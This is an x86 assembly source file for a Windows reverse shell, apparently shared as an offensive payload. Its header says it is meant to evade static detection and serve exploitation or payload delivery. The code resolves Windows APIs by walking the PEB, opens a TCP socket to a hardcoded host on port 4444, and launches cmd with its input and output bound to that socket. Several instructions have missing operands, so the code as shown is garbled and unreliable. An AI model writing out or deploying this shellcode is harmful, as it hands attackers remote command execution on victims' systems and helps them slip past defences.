; Simple reverse shell using x86 assembly ! ; Purpose: ; To dynamically resolves APIs to evade static detection and operates in memory, making it suitable for exploitation or payload delivery... ; Warning.. I'm not a pro assembly coder. Mistake can be happend =). Check the code twice. Thank you. ; By @5mukx BITS 32 section .text global _start _start: ; Locate Kernelbase.dll address XOR ECX, ECX ;zero out ECX MOV EAX, DWORD [FS:ECX + 0x30] MOV EAX, [EAX + 0x0c] ;EAX = PEB->Ldr MOV ESI, [EAX + 0x14] ;ESI = PEB->Ldr.InMemoryOrderModuleList LODSD ;memory address of the second list entry structure XCHG EAX, ESI ;EAX = ESI , ESI = EAX LODSD ;memory address of the third list entry structure XCHG EAX, ESI ;EAX = ESI , ESI = EAX LODSD ;memory address of the fourth list entry structure MOV EBX, [EAX + 0x10] ;EBX = Base address ; Export Table MOV EDX, DWORD [EBX + 0x3C] ;EDX = DOS->e_lfanew ADD EDX, EBX ;EDX = PE Header MOV EDX, DWORD [EDX + 0x78] ;EDX = Offset export table ADD EDX, EBX ;EDX = Export table MOV ESI, DWORD [EDX + 0x20] ;ESI = Offset names table ADD ESI, EBX ;ESI = Names table XOR ECX, ECX ;EXC = 0 GetFunction: INC ECX ; increment counter LODSD ;Get name offset ADD EAX, EBX ;Get function name CMP dword, 0x50746547 ;"PteG" JNZ SHORT ;jump to GetFunction label if not "GetP" CMP dword, 0x41636F72 ;"rocA" JNZ SHORT ;jump to GetFunction label if not "rocA" CMP dword, 0x65726464 ;"ddre" JNZ SHORT ;jump to GetFunction label if not "ddre" MOV ESI, DWORD [EDX + 0x24] ;ESI = Offset ordinals ADD ESI, EBX ;ESI = Ordinals table MOV CX, WORD [ESI + ECX * 2] ;CX = Number of function DEC ECX ;Decrement the ordinal MOV ESI, DWORD [EDX + 0x1C] ;ESI = Offset address table ADD ESI, EBX ;ESI = Address table MOV EDX, DWORD [ESI + ECX * 4] ;EDX = Pointer(offset) ADD EDX, EBX ;EDX = GetProcAddress ; Get the Address of LoadLibraryA function XOR ECX, ECX ;ECX = 0 PUSH EBX ;Kernel32 base address PUSH EDX ;GetProcAddress PUSH ECX ;0 PUSH 0x41797261 ;"Ayra" PUSH 0x7262694C ;"rbiL" PUSH 0x64616F4C ;"daoL" PUSH ESP ;"LoadLibrary" PUSH EBX ;Kernel32 base address MOV ESI, EBX ;save the kernel32 address in esi for later CALL EDX ;GetProcAddress(LoadLibraryA) ADD ESP, 0xC ;pop "LoadLibraryA" POP EDX ;EDX = 0 PUSH EAX ;EAX = LoadLibraryA PUSH EDX ;ECX = 0 MOV DX, 0x6C6C ;"ll" PUSH EDX PUSH 0x642E3233 ;"d.23" PUSH 0x5F327377 ;"_2sw" PUSH ESP ;"ws2_32.dll" CALL EAX ;LoadLibrary("ws2_32.dll") ADD ESP, 0x10 ;Clean stack MOV EDX, [ESP + 0x4] ;EDX = GetProcAddress PUSH 0x61617075 ;"aapu" SUB word, 0x6161 ;"pu" (remove "aa") PUSH 0x74726174 ;"trat" PUSH 0x53415357 ;"SASW" PUSH ESP ;"WSAStartup" PUSH EAX ;ws2_32.dll address MOV EDI, EAX ;save ws2_32.dll to use it later CALL EDX ;GetProcAddress(WSAStartup) ; Call WSAStartUp XOR EBX, EBX ;zero out ebx register MOV BX, 0x0190 ;EAX = sizeof(struct WSAData) SUB ESP, EBX ;allocate space for the WSAData structure PUSH ESP ;push a pointer to WSAData structure PUSH EBX ;Push EBX as wVersionRequested CALL EAX ;Call WSAStartUp ;Find the address of WSASocketA ADD ESP, 0x10 ;Align the stack XOR EBX, EBX ;zero out the EBX register ADD BL, 0x4 ;add 0x4 at the lower register BL IMUL EBX, 0x64 ;EBX = 0x190 MOV EDX, [ESP + EBX] ;EDX has the address of GetProcAddress PUSH 0x61614174 ;"aaAt" SUB word, 0x6161 ;"At" (remove "aa") PUSH 0x656b636f ;"ekco" PUSH 0x53415357 ;"SASW" PUSH ESP ;"WSASocketA", GetProcAddress 2nd argument MOV EAX, EDI ;EAX now holds the ws2_32.dll address PUSH EAX ;push the first argument of GetProcAddress CALL EDX ;call GetProcAddress PUSH EDI ;save the ws2_32.dll address to use it later ;call WSASocketA XOR ECX, ECX ;zero out ECX register PUSH EDX ;null value for dwFlags argument PUSH EDX ;zero value since we dont have an existing socket group PUSH EDX ;null value for lpProtocolInfo MOV DL, 0x6 ;IPPROTO_TCP PUSH EDX ;set the protocol argument INC ECX ;SOCK_STREAM(TCP) PUSH ECX ;set the type argument INC ECX ;AF_INET(IPv4) PUSH ECX ;set the ddress family specification argument CALL EAX ;call WSASocketA XCHG EAX, ECX ;save the socket returned from WSASocketA at EAX to ECX in order to use it later ;Find the address of connect POP EDI ;load previously saved ws2_32.dll address to ECX ADD ESP, 0x10 ;Align stack XOR EBX, EBX ;zero out EBX ADD BL, 0x4 ;add 0x4 to lower register BL IMUL EBX, 0x63 ;EBX = 0x18c MOV EDX, [ESP + EBX] ;EDX has the address of GetProcAddress PUSH 0x61746365 ;"atce" SUB word, 0x61 ;"tce" (remove "a") PUSH 0x6e6e6f63 ;"nnoc" PUSH ESP ;"connect", second argument of GetProcAddress PUSH EDI ;ws32_2.dll address, first argument of GetProcAddress XCHG ECX, EBP CALL EDX ;call GetProcAddress ;call connect PUSH 0x4166a8c0 ;sin_addr set to 192.168.102.65. You need to change here ! (Little-Endian format) PUSH word ;port = 4444 XOR EBX, EBX ;zero out EBX add BL, 0x2 ;TCP protocol PUSH word ;push the protocol value on the stack MOV EDX, ESP ;pointer to sockaddr structure (IP,Port,Protocol) PUSH byte ;the size of sockaddr - 3rd argument of connect PUSH EDX ;push the sockaddr - 2nd argument of connect PUSH EBP ;socket descriptor = 64 - 1st argument of connect XCHG EBP, EDI CALL EAX ;execute connect; ;Find the address of CreateProcessA ADD ESP, 0x14 ;Clean stack XOR EBX, EBX ;zero out EBX ADD BL, 0x4 ;add 0x4 to lower register BL IMUL EBX, 0x62 ;EBX = 0x190 MOV EDX, [ESP + EBX] ;EDX has the address of GetProcAddress PUSH 0x61614173 ;"aaAs" SUB dword, 0x6161 ;"As" PUSH 0x7365636f ;"seco" PUSH 0x72506574 ;"rPet" PUSH 0x61657243 ;"aerC" PUSH ESP ;"CreateProcessA" - 2nd argument of GetProcAddress MOV EBP, ESI ;move the kernel32.dll to EBP PUSH EBP ;kernel32.dll address - 1st argument of GetProcAddress CALL EDX ;execute GetProcAddress PUSH EAX ;address of CreateProcessA LEA EBP, [EAX] ;EBP now points to the address of CreateProcessA ;call CreateProcessA PUSH 0x61646d63 ;"admc" SUB word, 0x61 ;"dmc" ( remove a) MOV ECX, ESP ;ecx now points to "cmd" string XOR EDX, EDX ;zero out EDX SUB ESP, 16 MOV EBX, esp ;pointer for ProcessInfo ;STARTUPINFOA struct PUSH EDI ;hStdError => saved socket PUSH EDI ;hStdOutput => saved socket PUSH EDI ;hStdInput => saved socket PUSH EDX ;lpReserved2 => NULL PUSH EDX ;cbReserved2 => NULL XOR EAX, EAX ;zero out EAX register INC EAX ;EAX => 0x00000001 ROL EAX, 8 ;EAX => 0x00000100 PUSH EAX ;dwFlags => STARTF_USESTDHANDLES 0x00000100 PUSH EDX ;dwFillAttribute => NULL PUSH EDX ;dwYCountChars => NULL PUSH EDX ;dwXCountChars => NULL PUSH EDX ;dwYSize => NULL PUSH EDX ;dwXSize => NULL PUSH EDX ;dwY => NULL PUSH EDX ;dwX => NULL PUSH EDX ;pTitle => NULL PUSH EDX ;pDesktop => NULL PUSH EDX ;pReserved => NULL XOR EAX, EAX ;zero out EAX ADD AL, 44 ;cb => 0x44 (size of struct) PUSH EAX ;eax points to STARTUPINFOA ;ProcessInfo struct MOV EAX, ESP ;pStartupInfo PUSH EBX ;pProcessInfo PUSH EAX ;pStartupInfo PUSH EDX ;CurrentDirectory => NULL PUSH EDX ;pEnvironment => NULL PUSH EDX ;CreationFlags => 0 XOR EAX, EAX ;zero out EAX register INC EAX ;EAX => 0x00000001 PUSH EAX ;InheritHandles => TRUE => 1 PUSH EDX ;pThreadAttributes => NULL PUSH EDX ;pProcessAttributes => NULL PUSH ECX ;pCommandLine => pointer to "cmd" PUSH EDX ;ApplicationName => NULL CALL EBP ;execute CreateProcessA